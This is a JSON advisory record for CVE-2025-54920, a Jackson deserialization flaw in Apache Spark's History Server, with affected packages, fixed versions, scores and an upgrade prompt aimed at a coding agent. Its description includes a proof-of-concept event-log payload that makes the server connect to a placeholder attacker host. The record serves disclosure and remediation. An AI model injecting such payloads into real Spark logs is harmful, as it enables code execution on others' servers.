{"answers":{"affected":"13 open source packages ship an affected version, including org.apache.spark:spark-core_2.13, spark and org.apache.spark:spark-core_2.10. It affects 1 product.","exploited":"There is no known exploitation of CVE-2025-54920 in the wild and no public exploit code.","fix":"Upgrade org.apache.spark:spark-core_2.13 to a fixed version for your release line: 3.5.7 or 4.0.1.","what":"CVE-2025-54920 is a high-severity unsafe deserialization vulnerability in Apache Spark, published on 14 Mar 2026. Any signed-in user can exploit it over the network, with no action from the victim."},"fix_prompt":"Check this codebase for CVE-2025-54920 and fix it if it is affected.\n\nWhat it is: CVE-2025-54920 is a high-severity unsafe deserialization vulnerability in Apache Spark, published on 14 Mar 2026. Any signed-in user can exploit it over the network, with no action from the victim.\nExploitation: There is no known exploitation of CVE-2025-54920 in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- org.apache.spark:spark-core_2.13 (Maven): affected all versions; fixed in 3.5.7\n- org.apache.spark:spark-core_2.13 (Maven): affected all versions; fixed in 3.5.7\n- org.apache.spark:spark-core_2.13 (Maven): affected from 4.0.0; fixed in 4.0.1\n- org.apache.spark:spark-core_2.13 (Maven): affected from 4.0.0; fixed in 4.0.1\n- spark (Bitnami): affected all versions; fixed in 3.5.7, 4.0.1\n- org.apache.spark:spark-core_2.10 (Maven): affected all versions up to 2.2.3; no fix listed\n- org.apache.spark:spark-core_2.10 (Maven): affected all versions up to 2.2.3; no fix listed\n- org.apache.spark:spark-core_2.11 (Maven): affected all versions up to 2.4.8; no fix listed\n- org.apache.spark:spark-core_2.11 (Maven): affected all versions up to 2.4.8; no fix listed\n- org.apache.spark:spark-core_2.12 (Maven): affected all versions; fixed in 3.5.7\n- org.apache.spark:spark-core_2.12 (Maven): affected all versions; fixed in 3.5.7\n- org.apache.spark:spark-core_2.9.3 (Maven): affected all versions up to 0.8.1-incubating; no fix listed\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/CVE-2025-54920/ (Markdown: https://insights.sbomify.com/CVE-2025-54920/index.md)","id":"CVE-2025-54920","markdown":"https://insights.sbomify.com/CVE-2025-54920/index.md","name":"CVE-2025-54920","record":{"aliases":["BIT-spark-2025-54920","CLEANSTART-2026-NF76249","CLEANSTART-2026-XP93276","GHSA-jwp6-cvj8-fw65","MINI-j28q-p62w-chw6","MINI-whc8-crc9-hcjp"],"analysis":{"component_type":"server_software","fix_type":"upgrade","impacts":["code_execution"],"network_reachable":"yes","non_default_config":true,"product_category":"Apache Spark","requires_auth":"low_privilege","summary":"Attacker with write access to Spark event logs can execute arbitrary code on the History Server via unsafe Jackson deserialization.","user_interaction":"not_required","vuln_class":"deserialization"},"analysis_generated_by":"qwen3.8-flash-next","assigner":"apache","cpe":[{"product":"spark","vendor":"apache"}],"cvss":{"score":8.8,"severity":"high","source":"cisa-adp","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","version":"3.1"},"cwes":[{"id":"CWE-502","name":"Deserialization of Untrusted Data"}],"description":"This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue.\n\nSummary\n\nApache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server.\n\nDetails\n\nThe vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization.\n\nThe attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability.\n\nProof of Concept:\n\n1. Run Spark with event logging enabled, writing to a writable directory (spark-logs).\n\n2. Inject the following JSON at the beginning of an event log file:\n\n{\n\n  \"Event\": \"org.apache.hive.jdbc.HiveConnection\",\n  \"uri\": \"jdbc:hive2://\u003cIP\u003e:\u003cPORT\u003e/\",\n  \"info\": {\n    \"hive.metastore.uris\": \"thrift://\u003cIP\u003e:\u003cPORT\u003e\"\n  }\n}\n\n3. Start the Spark History Server with logs pointing to the modified directory.\n\n4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection.\n\nImpact\n\nAn attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.","ecosystems":["Bitnami","Maven"],"exploits":{"exploitdb":0,"first_seen":null,"github_poc":0,"max_poc_stars":null,"metasploit":0,"nuclei":0,"refs":[],"tier":"none_known"},"has_fix":true,"headline":"Apache Spark: Spark History Server Code Execution Vulnerability","id":"CVE-2025-54920","indexable":true,"kev":null,"kind":"cve","links":{"ecosystem":"Bitnami","product":null,"products":[],"type":"deserialization","year":"2025"},"n_packages":13,"n_references":4,"next":{"headline":"Deserialization in EcoStruxure™ Power Monitoring Expert (PME)","id":"CVE-2025-54923"},"packages":[{"ecosystem":"Bitnami","fixed":["3.5.7","4.0.1"],"introduced":["0","4.0.0"],"last_affected":[],"package":"spark","purl":"pkg:bitnami/spark","source":"BIT-spark-2025-54920"},{"ecosystem":"Maven","fixed":[],"introduced":["0"],"last_affected":["2.2.3"],"package":"org.apache.spark:spark-core_2.10","purl":null,"source":"GHSA-jwp6-cvj8-fw65"},{"ecosystem":"Maven","fixed":[],"introduced":["0"],"last_affected":["2.2.3"],"package":"org.apache.spark:spark-core_2.10","purl":"pkg:maven/org.apache.spark/spark-core_2.10","source":"GHSA-jwp6-cvj8-fw65"},{"ecosystem":"Maven","fixed":[],"introduced":["0"],"last_affected":["2.4.8"],"package":"org.apache.spark:spark-core_2.11","purl":null,"source":"GHSA-jwp6-cvj8-fw65"},{"ecosystem":"Maven","fixed":[],"introduced":["0"],"last_affected":["2.4.8"],"package":"org.apache.spark:spark-core_2.11","purl":"pkg:maven/org.apache.spark/spark-core_2.11","source":"GHSA-jwp6-cvj8-fw65"},{"ecosystem":"Maven","fixed":["3.5.7"],"introduced":["0"],"last_affected":[],"package":"org.apache.spark:spark-core_2.12","purl":null,"source":"GHSA-jwp6-cvj8-fw65"},{"ecosystem":"Maven","fixed":["3.5.7"],"introduced":["0"],"last_affected":[],"package":"org.apache.spark:spark-core_2.12","purl":"pkg:maven/org.apache.spark/spark-core_2.12","source":"GHSA-jwp6-cvj8-fw65"},{"ecosystem":"Maven","fixed":["3.5.7"],"introduced":["0"],"last_affected":[],"package":"org.apache.spark:spark-core_2.13","purl":null,"source":"GHSA-jwp6-cvj8-fw65"},{"ecosystem":"Maven","fixed":["3.5.7"],"introduced":["0"],"last_affected":[],"package":"org.apache.spark:spark-core_2.13","purl":"pkg:maven/org.apache.spark/spark-core_2.13","source":"GHSA-jwp6-cvj8-fw65"},{"ecosystem":"Maven","fixed":["4.0.1"],"introduced":["4.0.0"],"last_affected":[],"package":"org.apache.spark:spark-core_2.13","purl":null,"source":"GHSA-jwp6-cvj8-fw65"},{"ecosystem":"Maven","fixed":["4.0.1"],"introduced":["4.0.0"],"last_affected":[],"package":"org.apache.spark:spark-core_2.13","purl":"pkg:maven/org.apache.spark/spark-core_2.13","source":"GHSA-jwp6-cvj8-fw65"},{"ecosystem":"Maven","fixed":[],"introduced":["0"],"last_affected":["0.8.1-incubating"],"package":"org.apache.spark:spark-core_2.9.3","purl":null,"source":"GHSA-jwp6-cvj8-fw65"},{"ecosystem":"Maven","fixed":[],"introduced":["0"],"last_affected":["0.8.1-incubating"],"package":"org.apache.spark:spark-core_2.9.3","purl":"pkg:maven/org.apache.spark/spark-core_2.9.3","source":"GHSA-jwp6-cvj8-fw65"}],"prev":{"headline":"Windows Graphics Component Remote Code Execution Vulnerability","id":"CVE-2025-54919"},"products":["Apache Spark"],"published":"2026-03-14","related":[{"cvss_score":8.8,"headline":"Apache Spark Command Injection","id":"CVE-2022-33891","kev_date_added":"2023-03-07","published":"2022-07-18"},{"cvss_score":9.8,"headline":"Improper Authentication in Apache Spark","id":"CVE-2020-9480","kev_date_added":null,"published":"2020-06-23"},{"cvss_score":9.8,"headline":"Remote Code Execution in spark-core","id":"CVE-2018-17190","kev_date_added":null,"published":"2018-11-19"},{"cvss_score":9.1,"headline":"HTTP Request Smuggling in Netty","id":"CVE-2019-20445","kev_date_added":null,"published":"2020-01-29"},{"cvss_score":8.8,"headline":"Apache Spark: Shell command injection via Spark UI","id":"CVE-2023-32007","kev_date_added":null,"published":"2023-05-02"},{"cvss_score":7.8,"headline":"Apache Spark Deserialization of Untrusted Data vulnerability","id":"CVE-2017-12612","kev_date_added":null,"published":"2017-09-13"}],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"Bitnami","prefix":"BIT"},{"class":"attribution","licence":"CVE Terms of Use (MITRE)","name":"CVE List","prefix":"CVE"},{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"},{"class":"attribution","licence":"US public information, NVD API terms","name":"NVD"},{"class":"attribution","licence":"CWE Terms of Use","name":"CWE (MITRE)"},{"class":"attribution","licence":"FIRST CVSS licence","name":"CVSS (FIRST)"}],"ssvc":{"automatable":"no","exploitation":"none","technical_impact":"total"},"state":"PUBLISHED","updated":"2026-03-17","vendors":["Apache Software Foundation"]},"summary":"Attacker with write access to Spark event logs can execute arbitrary code on the History Server via unsafe Jackson deserialization.","url":"https://insights.sbomify.com/CVE-2025-54920/"}